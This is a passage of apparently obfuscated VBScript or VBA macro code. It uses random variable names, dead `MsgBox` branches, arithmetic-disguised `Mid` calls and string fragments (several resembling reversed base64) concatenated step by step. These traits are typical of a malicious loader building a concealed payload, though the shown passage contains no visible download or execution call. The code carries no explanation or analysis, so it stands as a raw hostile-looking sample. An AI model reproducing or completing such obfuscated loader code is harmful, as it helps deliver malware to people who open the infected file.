MsgBox "W2jLrY30h"
End If
Dim gckzfy
gckzfy = v2oAi & PW6m09a
PeJndVxi = "zV2Zh1Wav"
EhTgO0 = Chr(77)
Dim OFBXKeTf
OFBXKeTf = "EyX26V"
If Mid(OFBXKeTf, 5) = "WjWSB2i" Then
MsgBox "fn614wO"
End If
Dim FejPncsC
FejPncsC = "qRvuKJtxg"
If Mid(FejPncsC, 5) = "z8qEM" Then
MsgBox "pGfklMatU"
End If
Dim RrsRAPE5Z
RrsRAPE5Z = "mxFCXkB"
If Mid(RrsRAPE5Z, 5) = "PxCOm" Then
MsgBox "ZGFpt0qL"
End If
Dim GOgRp
GOgRp = PeJndVxi & EhTgO0
XIhSN = "tl2LzRXZzN"
Dim PJWvSsf
PJWvSsf = "EuaNj"
PJWvSsf = Mid(PJWvSsf, 4452 - 4449, 4452 - 4449)
Dim G5aOy9ZTX
G5aOy9ZTX = "MuzQcJ1yK"
G5aOy9ZTX = Mid(G5aOy9ZTX, 22464 / 5616, 22464 / 5616)
Dim U6OYbBst9
U6OYbBst9 = XIhSN
yxUWiyhq = "GJgsCInw1J"
Dim EIYf148Z
EIYf148Z = "JjpES0T"
EIYf148Z = Mid(EIYf148Z, 6057 - 6053, 6057 - 6053)
Dim s8mM3tHsf
s8mM3tHsf = "MS4fe3K"
If Mid(s8mM3tHsf, 5) = "xe7lu6NCr" Then
MsgBox "CvypZaU"
End If
Dim iL2b1
iL2b1 = yxUWiyhq
vb2JwWO = "pRHclN"
uETfPuDly = "Ge"
nwiRDXQdn = "F5"
Dim Os5nAYKS
Os5nAYKS = "d3DwrI7"
Os5nAYKS = Mid(Os5nAYKS, -10679 + 10682, -10679 + 10682)
Dim NODRpY
NODRpY = "WeOK19M4"
If Mid(NODRpY, 5) = "FxdLWNVM" Then
MsgBox "OkvqKR"
End If
Dim txKlV
txKlV = vb2JwWO & uETfPuDly & nwiRDXQdn
SE6OxKN = "E5CduVWa"
YZQ8qfKx4 = "sN"
Dim rD8hB
rD8hB = "dTflM"
rD8hB = Mid(rD8hB, 27045 / 5409, 27045 / 5409)
Dim kt930ulq
kt930ulq = "c37J0k"
If Mid(kt930ulq, 5) = "NKP4gHvO" Then
MsgBox "bFT13"
End If
Dim W6JoUC
W6JoUC = "cLYNp601o"
If Mid(W6JoUC, 5) = "YigPMkb" Then
MsgBox "JYD50Lkh8"
End If
Dim f3REwiP
f3REwiP = SE6OxKN & YZQ8qfKx4
uXGtQ7bHT = "mYldHJ"
gt5jIHlg = "7lnc"
Dim W2RIUm38
W2RIUm38 = "Ar7Ic5GPb"
W2RIUm38 = Mid(W2RIUm38, 17835 / 5945, 17835 / 5945)
Dim T3dzqAE
T3dzqAE = uXGtQ7bHT & gt5jIHlg
AFeJC5Y = "GckA"
b8GIQ = "yczV2Y"
Dim YBqwsCJ
YBqwsCJ = "t75GtxvPN"
YBqwsCJ = Mid(YBqwsCJ, 20936 - 20935, 20936 - 20935)
Dim P1uCMNxb
P1uCMNxb = AFeJC5Y & b8GIQ
TrbeTRG = "CIuVGZk"
wlaguv = "lGS"
Dim bucfZY6
bucfZY6 = "q5MIS1R"
If Mid(bucfZY6, 5) = "lK91B" Then
MsgBox "SKREA"
End If
Dim iAEFt
iAEFt = "JMkwVz"
If Mid(iAEFt, 5) = "RTmOi" Then
MsgBox "CfSqO9lGX"
End If
Dim FOx9SaR
FOx9SaR = TrbeTRG & wlaguv
DYJZtm9 = "XZnFWb"
Q2e9LFho = "p9yc"
Dim PMRiyjJD
PMRiyjJD = "OkG3qjK"
PMRiyjJD = Mid(PMRiyjJD, 32498 / 32498, 32498 / 32498)
Dim xwsOH
xwsOH = "aJK69Dpk"
xwsOH = Mid(xwsOH, 21177 / 7059, 21177 / 7059)
Dim xBCZd0a
xBCZd0a = DYJZtm9 & Q2e9LFho
f6t9kf = "EZ"
KcNhsXe72 = "h9Gbud3"
GyK5dB = Chr(98)
Dim jx3VC4Bi8
jx3VC4Bi8 = "mkSyNuiD"
If Mid(jx3VC4Bi8, 5) = "Oiy4bRo" Then
MsgBox "BJ6Mb40o"
End If
Dim L1Id2VO
L1Id2VO = "KCMelOmg"
If Mid(L1Id2VO, 5) = "HSWDOZH" Then
MsgBox "D6DR9"
End If
Dim gjJhRTzWO
gjJhRTzWO = "tEGjb"
If Mid(gjJhRTzWO, 5) = "FowArV8M" Then
MsgBox "pGUaxFy"
End If
Dim B4NzuMb
B4NzuMb = f6t9kf & KcNhsXe72 & GyK5dB
x8XYQcx = "yJs"
gKEV4sg = "cCK"
GtDdx = "0lG"
huYxpcF = Chr(98)
Dim rflWgXdF
rflWgXdF = "zXF8Wru9"
rflWgXdF = Mid(rflWgXdF, -5737 + 5739, -5737 + 5739)
Dim zCrdTy
zCrdTy = x8XYQcx & gKEV4sg & GtDdx & huYxpcF
VkWO2Bz = "SZ"
suQ1KTFR = "4V"
Foupqx = "mL"
CownQh = "wZ2L"
Dim P9ZBdcp
P9ZBdcp = "qzGnZQl"
If Mid(P9ZBdcp, 5) = "gQCkAhuz" Then
MsgBox "MT9Nj"
End If
Dim RyVFvp
RyVFvp = VkWO2Bz & suQ1KTFR & Foupqx & CownQh
eq0yKnP6 = "hdWZ0ZWZu9"
Dim Lhm3tZK
Lhm3tZK = "nxGjPHpq2"
If Mid(Lhm3tZK, 5) = "z5lPU0kM" Then
MsgBox "GCYmU8Fq"
End If
Dim siCjKN
siCjKN = "EJEeVSsCY"
siCjKN = Mid(siCjKN, 26274 - 26273, 26274 - 26273)
Dim lfSdg
lfSdg = "Doflr"
lfSdg = Mid(lfSdg, 23973 / 23973, 23973 / 23973)
Dim IrOtV
IrOtV = eq0yKnP6
ZL1Q53d = "Ccm9ycldW"
HJd2Z6B = Chr(89)
Dim QpG4rCS
QpG4rCS = "n2giJuk"
QpG4rCS = Mid(QpG4rCS, -823 + 828, -823 + 828)
Dim hvB6EyHWb
hvB6EyHWb = ZL1Q53d & HJd2Z6B
de09mo16 = "XYvU"
VvHBgQlYL = "ncu"
Bvu94Fs = "42b"
Dim CXxKfeE
CXxKfeE = "f0pcIOG"
CXxKfeE = Mid(CXxKfeE, 20144 / 10072, 20144 / 10072)
Dim AP8N1
AP8N1 = "pQxJKO6j0"
If Mid(AP8N1, 5) = "ShfHdQ" Then
MsgBox "l8PNp"
End If
Dim EtoMHhEF5
EtoMHhEF5 = "a6qPQp"
If Mid(EtoMHhEF5, 5) = "gnEYBTj" Then
MsgBox "aqg4waHiN"
End If
Dim Y7qLkDJ
Y7qLkDJ = de09mo16 & VvHBgQlYL & Bvu94Fs
MLJEAnTjv = "vJH"
KL1r6uGQE = "Ut"
oVNrfmK = "QnchR"
Dim uAausK
uAausK = "da1bfvw3M"
If Mid(uAausK, 5) = "OJBoigW4" Then
MsgBox "UgLIGbh"
End If
Dim hu3LGSe
hu3LGSe = "zBaCq"
hu3LGSe = Mid(hu3LGSe, 14199 / 4733, 14199 / 4733)
Dim PgzXu
PgzXu = MLJEAnTjv & KL1r6uGQE & oVNrfmK
E1xNsGFZS = "3U7kCa0FGc"
Dim SjJ54ksOQ
SjJ54ksOQ = "e1j5k"
SjJ54ksOQ = Mid(SjJ54ksOQ, 8089 - 8086, 8089 - 8086)
Dim le0jFPY
le0jFPY = "nMmJoQBYD"
If Mid(le0jFPY, 5) = "jvKaNVop" Then
MsgBox "jGVkS"
End If
Dim nRGrUD
nRGrUD = E1xNsGFZS
bTzuog = "4VmLwZ"
pGuI4mz = "2Lz"
Qo2w9 = "V"
Dim U9ocm
…